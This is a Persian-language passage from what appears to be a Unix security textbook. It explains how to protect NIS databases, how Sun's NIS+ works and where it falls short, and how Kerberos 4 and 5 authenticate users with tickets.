پایگاه داده‌های NIS شامل اطلاعات حساسی است. چندین راه برای جلوگیری از افشای غیرمجاز اطلاعات پایگاه داده‌های NIS وجود دارد. مثل بیشتر بهبودهای امنیتی، می‌توانید چند مورد از این روشها را ادغام کنید تا یک روش *دفاع در عمق چند لایه*[۱۶۱] بدست آورید:

۱. با استفاده از دیوارهٔ آتش یا حداقل یک مسیریاب هوشمند از پایگاه خود محافظت کنید و اجازه ندهید بسته‌های UDP مرتبط با RPC میان شبکهٔ داخلی و دنیای بیرونی مبادله شوند. متأسفانه به این علت که RPC بر اساس portmapper پایه‌ریزی شده است، پورت واقعی UDP که مورد استفاده قرار گرفته، یک پورت ثابت و مشخص نیست. در عمل، تنها استراتژی امن، سد کردن راه همهٔ بسته‌های UDP است، بجز آندسته که خودتان بصورت خاص اجازه تبادل آنها را می‌دهید.

۲. نسخه‌ای از portmapper را مورد استفاده قرار دهید که بتواند فهرستی از رایانه‌ها (بر اساس نام میزبان یا آدرس IP) که دسترسی آنها به سرویس‌دهنده‌های خاص RPC باید تأیید یا رد شود تهیه کند. اگر دیوارهٔ آتش ندارید مهاجم همچنان می‌تواند بدون دخالت portmapper، وجود هریک از خدمات RPC را ارزیابی کند، اما اگر سرویس‌گیرنده‌های RPC ابتدا برای برقراری تماس با portmapper تلاش کنند، یک نسخهٔ بهبود یافتهٔ NIS می‌تواند در زمینهٔ وقوع یک حملهٔ بالقوه هشدار دهد.

۳. ببینید که آیا NIS شما از فایل /var/yp/securenets روی سرویس‌دهنده‌های NIS استفاده می‌کند یا نه. اگر این فایل وجود داشته باشد می‌تواند فهرستی از شبکه‌هایی که قابلیت دریافت اطلاعات NIS را دارند مشخص کند. نگارشهای دیگر NIS احتمالاً برای غربال کردن آدرسهایی که دسترسی آنها به یک سرویس‌دهندهٔ خاص RPC توسط ypserve مجاز است، روشهای دیگری ارائه می‌دهند.

۴. آنقدر از NIS استفاده نکنید که DNS از یادتان برود! اگر بنای شما این است که کسی از بیرون نتواند آدرسهای IP ادارهٔ شما را بفهمد، دو *سرویس‌دهندهٔ نام*[۱۶۲] راه‌اندازی کنید – یکی برای استفاده داخلی و دیگری برای استفاده خارجی.

NIS+ شرکت Sun

NIS برای محیطهای رایانه‌ای دوستانه و کوچک طراحی شده بود. وقتی مشتریان شرکت Sun Microsystems شروع به ساخت شبکه‌هایی با هزاران ایستگاه کاری کردند، معلوم شد NIS برای استفادهٔ شرکتهای بزرگ غیرکاربردی و ناامن است. در سال ۱۹۹۰ شرکت Sun Microsystems تهیهٔ یک NIS جایگزین را شروع کرد و چند سال بعد این سیستم تحت عنوان NIS+ عرضه شد.

NIS+ بسرعت به خراب بودن شهرت یافت و بنظر می‌رسید نسخه‌های اولیه آن عملاً مورد آزمون قرار نگرفته بودند، چراکه به ندرت طبق آنچه که قرار بود عمل می‌کردند. از این گذشته، سندبرداری آن بسیار گیج‌کننده و ناقص بود. در نهایت Sun نقایص آنرا رفع کرد بطوریکه امروز NIS+ یک سیستم قابل اطمینان‌تر برای مدیریت و کنترل ایمن شبکه است. یک مرجع عالی برای افرادی که از NIS+ استفاده می‌کنند کتاب *همه چیز در مورد راهبری NIS+*[۱۶۳] نوشته *ریک رمزی*[۱۶۴] است.

---

161 *Layered Defense-in-Depth*
162 *Nameserver*
163 *All About Administrating NIS+ (SunSoft Press, Prentice Hall, 1994)*
164 *Rick Ramsey*

کاری که +NIS انجام می‌دهد

+NIS در شبکه پایگاه داده‌هایی می‌سازد که برای ذخیرهٔ اطلاعات در مورد رایانه‌ها و کاربران سازمان بکار می‌رود. +NIS این پایگاه داده‌ها را "جدول" می‌نامد. این جدولها از نظر عملکرد مشابه نگاشتهای NIS هستند. بر خلاف NIS، +NIS از طریق شبکه امکان *اصلاح افزایشی*[۱۶۵] اطلاعات را بوجود می‌آورد.

هر دامنهٔ +NIS دقیقاً یک *سرویس‌دهندهٔ اصلی +NIS*[۱۶۶] دارد. این یک رایانه است که حاوی نسخهٔ اصلی اطلاعات ذخیره‌شده در *دامنهٔ اصلی +NIS*[۱۶۷] می‌باشد. اطلاعات ذخیره‌شده در این سرویس‌دهنده می‌تواند تکثیر شود، که اینکار باعث می‌شود حتی زمانیکه سرویس‌دهندهٔ اصلی خاموش است یا در دسترس نیست شبکه همچنان قابل استفاده بماند. همچنین می‌توان از سرویس‌دهنده‌های +NIS برای زیردامنه‌ها نیز استفاده کرد.

موجودیتهایی که با استفاده از +NIS ارتباط برقرار می‌کنند *موکلان +NIS*[۱۶۸] نامیده می‌شوند. یک موکل +NIS می‌تواند یک میزبان و یا یک کاربر تأیید اعتبار شده باشد. هر موکل +NIS یک کلید عمومی و یک کلید خصوصی دارد که روی سرویس‌دهندهٔ +NIS در دامنه ذخیره شده‌اند.

کلیهٔ ارتباطات میان سرویس‌دهنده‌ها و موکلان +NIS از طریق "Secure RPC" – نسخه‌ای از RPC که فراخوانیهای توابع را از طریق رمزگذاری DES تصدیق هویت و محافظت می‌کند – انجام می‌شود. اینکار، ارتباطات را در برابر حملات استراق سمع و گمراه‌سازی مقاوم می‌سازد. +NIS همچنین بر ساخت و مدیریت کلیدهای Secure RPC نظارت می‌کند. با استفاده از +NIS، هریک از اعضای سازمان قادر خواهد بود از Secure RPC استفاده کند.

جدولهای +NIS و سایر نکات مربوطه

کلیهٔ اطلاعات ذخیره‌شده در سرویس‌دهنده‌های +NIS در قالب *اشیا*[۱۶۹] ذخیره می‌شوند. +NIS سه گونهٔ اساسی اشیا را پشتیبانی می‌کند. "جدولها" اطلاعات پیکربندی را ذخیره می‌کنند، "گروهها" به مجموعه‌ای از موکلان +NIS اشاره می‌کنند و برای تصدیق هویت آنها بکار می‌روند، و "دایرکتوری‌ها" ظرفهایی برای جدولها، گروهها، و سایر دایرکتوری‌های هستند، و یک ساختار درختی برای سرویس‌دهنده +NIS بوجود می‌آورند.

+NIS، ۱۶ جدول را از پیش تعریف می‌کند، شامل جدولهایی برای میزبانها و شبکه‌ها، پروتکلها و خدمات، حسابهای کاربری و رمزهای عبور، گروه‌های کاربری و گروه‌های شبکه، پستهای الکترونیکی چندگانه و سایر موارد. کاربران دستشان برای ساختن جدولهای اضافه برای خودشان باز است.

استفاده از +NIS

استفاده از +NIS می‌تواند بسیار رضایتبخش باشد. وقتی یک کاربر وارد یک ایستگاه کاری می‌شود، برنامهٔ ورود به سیستم بصورت خودکار استوارنامهٔ امنیتی +NIS کاربر را بازیابی کرده، تلاش می‌کند آن را با رمز عبور کاربر رمزگشایی نماید.

اگر رمز عبور واردشده و رمز عبور ذخیره‌شده در +NIS یکسان باشند (که معمولاً چنین است) روند keyserv مربوط به +NIS کلید خصوصی کاربر را در حافظه نگه خواهد داشت و درنتیجه کاربر به همهٔ خدمات Secure RPC دسترسی شبه مستقیم پیدا می‌کند (بعبارت دیگر لایهٔ میانی تصدیق هویت نامرئی می‌شود). اگر رمز عبور واردشده و رمز عبور ذخیره‌شده +NIS یکسان نباشند، آنگاه کاربر

165 *Incremental Update*
166 *NIS+ Root Server*
167 *NIS+ Root Domain*
168 *NIS+ Principals*
169 *Objects*

باید بصورت دستی و با استفاده از دستور keylogin وارد دامنه +NIS شود. کاربران +NIS رمزهای عبور خود را با فرمان nispasswd عوض می‌کنند، که بسیار مشابه فرمان Unix passwd استاندارد کار می‌کند.

امنیت +NIS با فراهم کردن یک ابزار برای تصدیق هویت کاربران، و با ایجاد فهرستهای کنترلِ دسترسی که راههای تعاملِ کاربران تصدیق هویت شده با اطلاعات ذخیره‌شده در جداول +NIS را کنترل می‌کنند پیاده‌سازی می‌شود. +NIS دو نوع تصدیق هویت ارائه می‌کند: تصدیق هویت محلی بر اساس اجرای یک فرمان +NIS توسط UID است و بصورت گسترده‌ای برای راهبری سرویس‌دهنده‌های اصلی +NIS استفاده می‌شود، و تصدیق هویت DES نیز بر مبنای Secure RPC است.

هر شیء +NIS یک "مالک" دارد، که معمولاً همان ایجاد کنندهٔ آن می‌باشد (مالک یک شیء را می‌توان با فرمان nischown تغییر داد). اشیای +NIS همچنین فهرستهای کنترل دسترسی در اختیار دارند که برای کنترل اینکه کدام موکل دارای چه نوعی از دسترسی به شیء است – خواندن، تغییر، ایجاد، حذف، یا ادغام – بکار می‌رود. چهار نوع موکل می‌توانند به یک شیء دسترسی داشته باشند: هیچکس (تقاضاهای تصدیق هویت نشده)، مالک شیء، موکلانی که با شیء در یک گروه هستند، و موکلان تصدیق هویت شدهٔ دیگر.

جداول +NIS ممکن است به ردیفها، ستونها، یا اقلام داده‌ای منفرد مربوط به خود امتیازات دسترسی بیشتر بدهند. بنابراین همهٔ کاربران تصدیق هویت شده به همهٔ قسمتهای یک جدول دسترسی خواندن دارند، اما هر کاربر تنها می‌تواند آن سطر از جدول را که به حساب کاربری خود او مربوط است تغییر دهد. توجه داشته باشید از آنجا که دسترسیهای ردیفها، ستونها، و اقلام داده‌ای منفرد می‌توانند فهرست کنترل دسترسی را بزرگتر کنند، قوانین محدودکنندهٔ بیشتر، قابل اعمال نمی‌باشند.

محدودیتهای +NIS

اگر +NIS درست پیکربندی شود می‌تواند برای تصدیق هویت و مدیریت شبکه سیستم بسیار امنی باشد. با این وجود، مثل همهٔ سیستمهای امنیتی، این امکان وجود دارد که در پیکربندی یا مدیریت +NIS اشتباهی رخ دهد که نتیجهٔ آن بر شبکه‌ای که +NIS از آن محافظت می‌کند کاهش یافتن ایمنی باشد. ذیلاً مسائلی برای آگاهی ذکر می‌شود:

+NIS را در حالت سازگاری NIS[۱۷۰] اجرا نکنید

+NIS دارای یک حالت "سازگاری NIS" است که در آن به سرویس‌دهندهٔ +NIS اجازه می‌دهد که با سرویس‌گیرندگان NIS از درون ارتباط برقرار کند. اگر +NIS را در این حالت اجرا کنید هر سرویس‌دهندهٔ NIS در شبکهٔ شما (و شاید حتی شبکه‌های دیگر) قادر خواهد بود به هر قطعه‌ای از اطلاعات ذخیره‌شده در سرویس‌دهندهٔ +NIS دسترسی پیدا کند.

دسترسیهای اشیای +NIS را در فواصل زمانی منظم بصورت دستی بررسی کنید

هنوز نرم‌افزار بررسی جامعیت +NIS وجود ندارد، بنابراین جدولهای +NIS، دایرکتوری‌ها، و گروهها باید بصورت دستی و در فواصل زمانی منظم بررسی شوند. در مورد اشیایی که بوسیلهٔ هیچ یا همه کس اجازه تغییر دارند و همچنین جداولی که این دو طبقه از موکلان می‌توانند در آنها اشیای جدید ایجاد کنند مراقبت به خرج دهید.

رایانه‌هایی که سرویس‌دهنده‌های +NIS روی آنها اجرا می‌شوند را ایمن کنید

سرویس‌دهندهٔ +NIS حداکثر به اندازهٔ رایانه‌ای که روی آن اجرا می‌شود ایمن است. اگر مهاجمین بتوانند به سرویس‌دهندهٔ +NIS دسترسی "root" پیدا کنند خواهند توانست هر تغییر دلخواه را در دامنهٔ +NIS ایجاد کنند، که این شامل ایجاد کاربران جدید، تغییر رمزهای عبور کاربران، و حتی تغییر رمز عبور اصلی سرویس‌دهنده +NIS هم می‌شود.

---

170 NIS Compatibility Mode

در سرویس‌دهنده‌ها از سطح امنیت شمارهٔ ۲ NIS+ استفاده کنید

سرویس‌دهنده‌های NIS+ می‌توانند در سه سطح امنیتی به نامهای ۰، ۱، و ۲ کار کنند. کنترل دسترسی و تصدیق هویت کامل امنیتی تنها در سطح ۲ فعال است، و برای سرویس‌دهنده‌های NIS+ تنها باید از سطح ۲ استفاده کرد.

Kerberos

در اواخر دههٔ ۱۹۸۰در *مؤسسه فناوری ماساچوست* (MIT)[۱۷۱] صدها ایستگاه کاری قوی به همراه نمایشگرهای بزرگ، پردازشگرهای سریع (در آنزمان)، دیسکهای کوچک، و رابطهای Ethernet، جایگزین سیستم قدیمی‌تر که از پایانه‌ها و چند رایانهٔ *زمان‌مشترک*[۱۷۲] تشکیل یافته‌بود شد. هدف این بود که کاربران بتوانند با استفاده از هریک از رایانه‌ها به فایلهای خود و شبکه دسترسی داشته باشند.

به محض اینکه ایستگاه‌های کاری شروع به فعالیت کردند، مشکل استراق سمع شبکه به طور آزاردهنده‌ای آشکار شد. چون از همه‌جا می‌شد به شبکه دسترسی داشت، هیچ چیزی مانع دانشجویان (یا مهاجمین خارج مؤسسه) نمی‌شد که از برنامه‌های جاسوسی شبکه استفاده نکنند. تقریباً غیرممکن بود که بتوان از افشا شدن رمز عبور اصلی ایستگاههای کاری توسط دانشجویان یا راه‌اندازی مجدد آنها در حالت تک‌کاربری جلوگیری کرد. چیزی که مشکلات را پیچیده‌تر می‌کرد این بود که بسیاری از رایانه‌های متصل به شبکه، رایانه‌های IBM PC/AT بودند و برنامه‌ای اجرا می‌کردند که حتی از مقدمات امنیت رایانه‌ای هم بی‌بهره بود. کاری باید انجام می‌شد تا از فایلهای دانشجویان در شبکه حداقل به اندازهٔ سیستم قبلی که سیستم زمان‌مشترک بود حفاظت به عمل می‌آمد.

راه‌حل نهایی MIT برای رفع این مشکل امنیتی "Kerberos" بود؛ یک سیستم تصدیق هویت که برای حفاظت از اطلاعات حساس – مثل رمزهای عبور در شبکه‌های باز – از رمزنگاری DES استفاده می‌کرد. وقتی کاربری در یک ایستگاه کاری که Kerberos روی آن درحال اجرا است وارد شود، سرویس‌دهندهٔ Kerberos برای آن کاربر یک "بلیط" صادر می‌کند. بلیط کاربر تنها با رمز عبور کاربر باز می‌شود و حاوی اطلاعات مورد نیاز برای بدست‌آوردن بلیطهای دیگر است. از این دیدگاه، هرگاه کاربر بخواهد به یکی از خدمات شبکه دسترسی پیدا کند، باید یک بلیط خاص آن سرویس ارائه کند. چون همهٔ اطلاعات بلیطهای Kerberos قبل از اینکه روی شبکه فرستاده شود رمزگذاری می‌شود، اطلاعات ارسالی قابل استراق سمع هم نیستند.

Kerberos 4 و Kerberos 5

پنج بازنگری اساسی در تاریخ Kerberos تا به امروز انجام شده است و درحال حاضر از دو نسخهٔ Kerberos در بازار مورد استفاده قرار دارد.

Kerberos 4 از Kerberos 5 کارآمدتر اما محدودتر است. بعنوان مثال Kerberos 4 تنها می‌تواند روی شبکه‌های TCP/IP کار کند، چند سال است که ارتقا پیدا نکرده، و درحال حاضر قدیمی محسوب می‌شود. در اوایل سال ۱۹۹۶ فارغ‌التحصیلان آزمایشگاه COAST (که در سال ۱۹۹۸ با مرکز تحقیقاتی CERIAS ادغام شده است) در دانشگاه Purdue یک ضعف عمیق در نحوهٔ ساخته‌شدن کلید Kerberos 4 کشف کردند که به مهاجم اجازه می‌داد کلیدهای نشست را در عرض چند ثانیه حدس بزند. هرچند برای این آسیب‌پذیری یک اصلاح بصورت گسترده توزیع شد، اما مشخص شده که بعضی از پیاده‌سازیهای Kerberos 4 در برابر حملات سرریزی buffer هم آسیب‌پذیر هستند و هیچ اصلاحی نیز برایشان ارائه نشده است.

Kerberos 5 مشکلات شناخته‌شدهٔ پروتکل Kerberos را رفع کرد و آنرا در برابر حملات معمول شبکه مقاومتر ساخت. Kerberos 5 همچنین انعطاف‌پذیرتر است و می‌تواند با انواع دیگر شبکه کار کند. Kerberos 5 همچنین پیش‌بینی‌هایی برای کار با الگوریتمهای رمزگذاری غیر DES دارد. اگرچه الگوریتمهایی مثل DES سه‌گانه پیاده‌سازی شده‌اند، استفاده از آنها چندان گسترده نیست، بیشتر به دلیل برنامه‌های قدیمی که از رمزگذاری استفاده کرده‌اند.

171 *Massachusetts Institute of Technology*
172 *Timesharing*

نکتهٔ آخر اینکه Kerberos 5 چند قابلیت جدید نیز دارد: امکان تفویض شدن تصدیق هویت، بلیطهایی با زمان انقضای بیش از ۲۱ ساعت، بلیطهای تجدید پذیر، بلیطهایی که زمانی در آینده فعال می‌شوند، و گزینه‌های بسیار دیگر. چنانچه می‌خواهید از Kerberos استفاده کنید توصیه می‌شود Kerberos 5 را بکار ببرید.IETF روی بازنگری و تشریح RFC شمارهٔ ۱۵۱۰ – که Kerberos 5 را تعریف می‌کند – کار کرده و چند توسعهٔ قابل انتظار برای این پروتکل پیشنهاد داده است.

تصدیق هویت Kerberos

تصدیق هویت در Kerberos تماماً بر اساس دانستن رمزهای عبور که در سرویس‌دهنده‌های Kerberos ذخیره شده‌اند می‌باشد. برخلاف رمزهای عبور Unix که با الگوریتم یکطرفه رمزگذاری می‌شوند، رمز عبور Kerberos در سرویس‌دهنده ذخیره و با یک الگوریتم متداول – در اکثر موارد DES – رمزگذاری می‌شود، و لذا می‌تواند درصورت نیاز بوسیلهٔ سرویس‌دهنده رمزگشایی شود. کاربر نیز با اثبات آگاهی خود از کلید مورد استفاده، هویت خود را برای سرویس‌دهندهٔ Kerberos تصدیق می‌نماید.

این حقیقت که سرویس‌دهندهٔ Kerberos به رمز عبور رمزگشایی‌شدهٔ کاربر دسترسی دارد نتیجهٔ این است که Kerberos از رمزنگاری کلید عمومی استفاده نمی‌کند.[۱۷۳] این یک عیب جدی سیستم Kerberos است. معنی این مسئله این است که سرویس‌دهنده هم باید بصورت فیزیکی ایمن باشد و هم "ایمنی محاسباتی" داشته باشد. سرویس‌دهنده باید بصورت فیزیکی ایمن باشد تا از دزدیده شدن سرویس‌دهنده و افشای همهٔ رمزهای عبور کاربران جلوگیری شود. سرویس‌دهنده باید نسبت به حملات ورود به سیستم ایمن باشد، چراکه اگر مهاجم بتواند وارد سرویس‌دهنده شود و دسترسی "root" پیدا کند، باز هم می‌تواند همهٔ رمزهای عبور را بدزدد.

Kerberos بگونه‌ای طراحی شد که سرویس‌دهندهٔ آن بتواند مستقل از حالت باشد. سرویس‌دهنده فقط به تقاضاهای کاربران پاسخ می‌دهد و هرگاه لازم بود بلیط صادر می‌کند. این طراحی ایجاد سرویس‌دهنده‌های تکرار و ثانویه – که درصورت در دسترس نبودن سرویس‌دهندهٔ اصلی می‌توانند به تقاضاهای تصدیق هویت پاسخ دهند – را نسبتاً آسان می‌کند. متأسفانه این سرویس‌دهنده‌های ثانویه نیاز به نسخه‌های کاملی از تمام پایگاه داده‌های Kerberos دارند، که این مسئله به این معنی است که آنها نیز باید هم از نظر فیزیکی و هم از نظر محاسباتی ایمن باشند.

ورود اولیه به سیستم

برای کاربر، ورود به یک ایستگاه کاری که از Kerberos استفاده می‌کند مشابه ورود به یک سیستم رایانه عادی است؛ یعنی نام کاربری و رمز عبور خود را تایپ می‌کند و اگر صحیح بودند وارد سیستم می‌شود و کاربر پس از ورود به سیستم به فایلها، پست الکترونیکی، پرینترها، و سایر منابع مشابه دسترسی خواهد داشت.

البته آنچه در پس پرده رخ می‌دهد بسیار پیچیده‌تر است. وقتی برنامهٔ ورود به سیستم ایستگاه کاری – sshd[۱۷۴] – یا کتابخانهٔ تصدیق هویت – مثل PAM – (یا یک daemon دیگر شبکه) Kerberos را می‌شناسد، از سیستم Kerberos برای تصدیق هویت کاربر بهره می‌برد.

---

۱۷۳ *چون زمانیکه kerberos تولید شد رمزنگاری کلید عمومی همچنان تحت حفاظت قانون مالکیت معنوی بود، از آن در kerberos استفاده نمی‌شود. یک پیشنهاد اولیه از طرف IETF وجود دارد که بعنوان" رمزنگاری کلید عمومی برای تصدیق هویت آغازین در kerberos معرفی شده، و روشهایی برای ادغام کارتهای هوشمند کلید عمومی با kerberos ارائه می‌کند. این پیشنهاد بوسیلهٔ مایکروسافت پیاده‌سازی شده است.*

۱۷۴ *وصله‌های OpenSSH برای استفاده از Kerberos 5 در تصدیق هویت در آدرس زیر قابل دسترسی است:*
http://www.sxw.org.uk/computing/patches/openssh.html
هرچند در کنار Kerberos 4 از SSH هم استفاده می‌شده، اما بسیار دشوار است که دو سیستم را وادار به ارتباط میانی با یکدیگر کرد. خوشبختانه پروتکل SSH نگارش ۲ می‌تواند از الایه امنیتی مشابه Kerberos 5 (GSSAPI) استفاده کند، که باعث ساده شدن قابل توجه مسائل می‌شود. پیشنهاد اولیهٔ مربوط به IETF که ادغام این سیستمها را پوشش می‌دهد عبارت است از draft-ietf-secsh-gsskeyex.

اول اینکه سرویس‌گیرنده Kerberos باید بداند که سرویس‌دهندهٔ Kerberos را چگونه پیدا کند، که برای این امر می‌توان هر سرویس‌گیرنده را بصورت دستی پیکربندی کرد (بطور سنتی در فایل krb5.conf)، یا می‌توان سرویس‌دهنده‌های Kerberos را با اقلام دادهٔ DNS SRV اعلام عمومی نمود، که در سند IETF Internet-Draft draft-ietf-krv-wg-krb-dns-locate توضیح داده شده است.

در Kerberos 4 بعد از اینکه شناسهٔ کاربری خود را وارد کردید، ایستگاه کاری پیامی را به سرویس‌دهندهٔ تصدیق هویت Kerberos می‌فرستد.[۱۷۵] این پیام حاوی شناسهٔ کاربری شماست و نشان می‌دهد که شما سعی دارید وارد سیستم شوید. سرویس‌دهندهٔ Kerberos در پایگاه دادهٔ خود پروندهٔ شما را بررسی می‌کند و چنانچه شما بعنوان یک کاربر مجاز شناخته شوید، یک بلیط تصدیق بلیط برایتان ارسال می‌کند که با خلاصه‌پیام رمز عبور شما رمزگذاری شده است. سپس ایستگاه کاری از شما می‌خواهد که رمز عبور خود را وارد کنید و نهایتاً تلاش می‌کند بلیط رمزگذاری‌شده را با رمز عبوری که شما ارائه کرده‌اید رمزگشایی کند. اگر رمزگشایی موفقیت‌آمیز باشد، ایستگاه کاری رمز عبور شما را ذخیره نمی‌کند، و منحصراً از بلیط تصدیق بلیط استفاده می‌کند. اگر رمزگشایی به شکست بیانجامد، ایستگاه کاری خواهد دانست که شما رمز عبور نادرستی ارائه کرده‌اید و از شما می‌خواهد مجدداً برای وارد کردن رمز عبور صحیح تلاش کنید.

در Kerberos 5، ایستگاه کاری قبل از تماس با سرویس‌دهنده منتظر می‌ماند تا شما رمز عبور خود را وارد کنید. آنگاه یک پیام حاوی شناسهٔ کاربری و تاریخ همانروز – که با رمز عبور شما رمزگذاری شده – به سرویس‌دهندهٔ تصدیق هویت Kerberos می‌فرستد. سرویس‌دهنده بدنبال شناسهٔ کاربری شما می‌گردد، رمز عبور شما را می‌یابد، و تلاش می‌کند تاریخ رمزگذاری‌شده را رمزگشایی کند. اگر سرویس‌دهنده بتواند تاریخ ارسالی را رمزگشایی کند (که طبیعتاً در اینصورت آن تاریخ، تاریخ همانروز خواهد بود) آنگاه یک بلیط تصدیق بلیط بوجود می‌آورد، آنرا با رمز عبورتان رمزگذاری می‌کند، و سپس برای شما می‌فرستد.[۱۷۶]

بلیط تصدیق بلیط یک بلوک داده است حاوی یک کلید نشست و یک بلیط برای سرویس بلیط تصدیق بلیط Kerberos – که هم با کلید نشست و هم با کلید سرویس تصدیق بلیط رمزگذاری شده. در اینحالت ایستگاه کاری کاربر می‌تواند با سرویس تصدیق بلیط Kerberos تماس بگیرد تا برای هر موکل درون قلمروی Kerberos – مجموعه‌ای از سرویس‌دهنده‌ها و کاربرانی که سرویس‌دهندهٔ Kerberos آنها را می‌شناسد – بلیط بدست آورد.

بعنوان مثال وقتی کاربر برای بار اول تلاش می‌کند از طریق یک ایستگاه کاری Kerberos به فایلهای خود دسترسی پیدا کند، نرم‌افزار سیستم روی ایستگاه کاری با سرویس تصدیق بلیط تماس می‌گیرد و تقاضای یک بلیط برای سرویس‌دهندهٔ فایل می‌فرستد. سرویس تصدیق بلیط به کاربر یک بلیط برای سرویس‌دهنده فایل باز می‌گرداند. بلیط فرستاده شده حاوی یک بلیط دیگر است، که با رمز عبور سرویس‌دهندهٔ فایل رمزگذاری شده است، و ایستگاه کاری کاربر می‌تواند برای درخواست فایلها آنرا به سرویس‌دهندهٔ فایل ارائه کند. بلیط یادشده حاوی نام تصدیق هویت شدهٔ کاربر، زمان انقضا و آدرس اینترنتی ایستگاه کاری کاربر است. سپس ایستگاه کاری کاربر این بلیط را به سرویس‌دهنده فایل ارائه می‌کند. سرویس‌دهندهٔ فایل بلیط را با استفاده از رمز عبور خود رمزگشایی می‌کند، و بعد از آن یک نگاشت میان ایستگاه کاری کاربر (UID، آدرس IP) و یک UID روی سرویس‌دهنده فایل می‌سازد. Kerberos زمان روز را در تقاضاها می‌گذارد تا از دزدیده شدن یک تقاضا و انتقال آن از میزبان مشابه در زمانهای بعد (مثلاً در یک حمله تکرار توسط یک مهاجم استراق سمع کننده) جلوگیری کند.

---

۱۷۵ *با توجه به مقالات و اسناد kerberos، از نظر منطقی دو نوع سرویس‌دهنده kerberos وجود دارد: سرویس‌دهنده تصدیق هویت، و سرویس تصدیق بلیط. تعدادی از صاحبنظران فکر می‌کنند که این تلقی دقیق نیست، چون همه سیستم kerberos بصورت فیزیکی تنها یک سرویس‌دهنده – سرویس‌دهنده kerberos، یا سرویس‌دهنده کلید – را بکار می‌گیرد.*

۱۷۶ *چرا پروتکل تغییر یافت؟ Kerberos 4 تلاش می‌کرد تعداد دفعاتی که رمز عبور کاربر در ایستگاه کاری ذخیره می‌شد را به حداقل برساند. متأسفانه، این مسئله باعث شد براحتی بتوان رمزهای عبور بلیط تصدیق بلیط Kerberso 4 را بصورت offline حدس زد. در Kerberos 5 ایستگاه کاری باید به سرویس‌دهنده تصدیق هویت kerberos نشان دهد که کاربر رمز عبور صحیح را می‌داند. این یک سیستم امن‌تر است، هرچند چون بلیط تصدیق بلیط رمزگذاری‌شده کاربر از سرویس‌دهنده به ایستگاه کاری فرستاده می‌شود، لذا همچنان می‌تواند بوسیله یک مهاجم دزدیده شود و با یک جستجوی کلید کامل مورد حمله واقع گردد.*

Kerberos از نظر امنیتی چند مزیت دارد. رمزهای عبور بجای ذخیره شدن در ایستگاههای کاری منفرد در سرویس‌دهندهٔ Kerberos ذخیره می‌شوند و هرگز از روی شبکه انتقال نمی‌یابند – بصورت رمزشده یا هر طور دیگر. سرویس‌دهندهٔ تصدیق هویت Kerberos می‌تواند هویت کاربر را تصدیق کند، چون کاربر رمز عبور خود را می‌داند، و همینطور کاربر هم می‌تواند هویت سرویس‌دهندهٔ Kerberos را تصدیق کند، چون آن سرویس‌دهنده هم رمز عبور کاربر را می‌داند. چون کاربر یک بلیط صادر شده بوسیلهٔ سرویس تصدیق بلیط ارائه می‌کند که با کلید سرویس مقصد رمزگذاری شده است خدمات دیگر Kerberos نیز می‌توانند کاربر را تصدیق هویت کنند.

کسی که برای استراق سمع یک بلیط را از سرویس‌دهندهٔ Kerberos می‌دزدد نمی‌تواند از آن استفاده کند چون با کلیدی رمزگذاری شده (کلید یک سرویس Kerberos و یا بدست آمده از رمز عبور کاربر) که مهاجم آنرا نمی‌شناسد.

تصدیق هویت، یکپارچگی و صحت داده، و محرمانگی

Kerberos یک سیستم عمومی برای به اشتراک‌گذاری کلیدهای خصوصیِ موکلان روی شبکه است. در حالت عادی از Kerberos تنها برای تصدیق هویت استفاده می‌شود. با این وجود توانایی تبادل کلیدها هم می‌تواند برای تضمین یکپارچگی و صحت داده و سری باقی ماندن آن بکار رود.

اگر استراق سمع یک تهدید جدی باشد، می‌توان کلیهٔ اطلاعات انتقالی میان ایستگاه کاری و سرویس را با یک کلید که میان دو موکل مبادله شده است رمزگذاری کرد. متأسفانه رمزگذاری باعث کاهش کارایی می‌شود. در MIT از رمزگذاری برای انتقال اطلاعات بسیار حساس مثل رمزهای عبور استفاده می‌شود، اما برای انتقال بیشتر داده‌ها مثل فایلها و نامه‌های الکترونیکی نه.

بلیط‌های صادرشده بوسیلهٔ Kerberos بعد از ۸ ساعت منقضی می‌شوند – این تکنیک برای جلوگیری از حملات تکرار درنظر گرفته شده است.[۱۷۷] بنابراین بعد از ۸ ساعت مجدداً باید برنامهٔ kinit را اجرا کنید و شناسهٔ کاربری و رمز عبور خود را یکبار دیگر وارد کنید تا از طریق سرویس تصدیق بلیط Kerberos برایتان یک بلیط جدید صادر شود.

در ایستگاههای تک کاربری، Kerberos امنیت بسیار بیشتری در کنار رمزهای عبور معمولی ارائه می‌کند، اما با اینحال اگر دو نفر بصورت همزمان به یک ایستگاه کاری وارد شوند، ایستگاه کاری هر دو کاربر را تصدیق هویت می‌کند و از آن پس این دو کاربر خواهند توانست خود را بجای یکدیگر جا بزنند. این تهدید در MIT بسیار مهم بود، لذا خدمات ورود از راه دور روی ایستگاههای کاری غیرفعال شده بودند تا هنگام تصدیق هویت یک کاربر مجاز از ورود مهاجمین جلوگیری شود. همچنین این امکان وجود دارد که یکنفر نرم‌افزار محلی را تسخیر کند تا رمز عبور کاربر را هنگام تایپ شدن بدست آورد.

تهیهٔ Kerberos

سیستمهای ایمنی Kerberos یا مشابه آن امروزه از طریق چندین شرکت ارائه می‌شوند، و همچنین یک قسمت استاندارد سیستم‌عاملهایی مثل Solaris، Mac OS X، و بسیاری از نسخه‌های Linux و BSD بشمار می‌آیند. از Windows 2000 به بعد در Microsoft Windows یک نسخه از Kerberos 5 قرار داده شده است. همچنین این امکان وجود دارد که میان ماشینهای Unix و بسترهای Windows بتوان از Kerberos استفاده کرد.[۱۷۸]

اگر باید Kerberos را از ابتدا نصب کنید، متن برنامهٔ Kerberos مربوط به MIT برای شهروندان ایالات متحده و کانادا در آدرس *http://web.mit.edu/kerberos/www/* و برای دیگران در آدرس *http://www.crypto-publish.org* قابل

---

۱۷۷ *در بعضی از پیکربندیها می‌توان یک حداکثر زمانی برای معتبر باقی ماندن کلید تعیین کرد.*

۱۷۸ *در نظر داشته باشید که مایکروسافت تغییرات اختصاصی به پروتکل kerberos داده که اثر آن مجبور کردن سرویس‌گیرنده‌های Windows به استفاده از kerberos سرویس‌دهنده‌های Windows است. لذا در یک محیط مخلوط Windows و یونیکس، بهتر است سرویس‌دهنده‌های kerberos ماشینهای Windows 2000 باشند تا بتوان هم از سرویس‌گیرنده‌های Windows و هم از سرویس‌گیرنده‌های Unix استفاده کرد.*

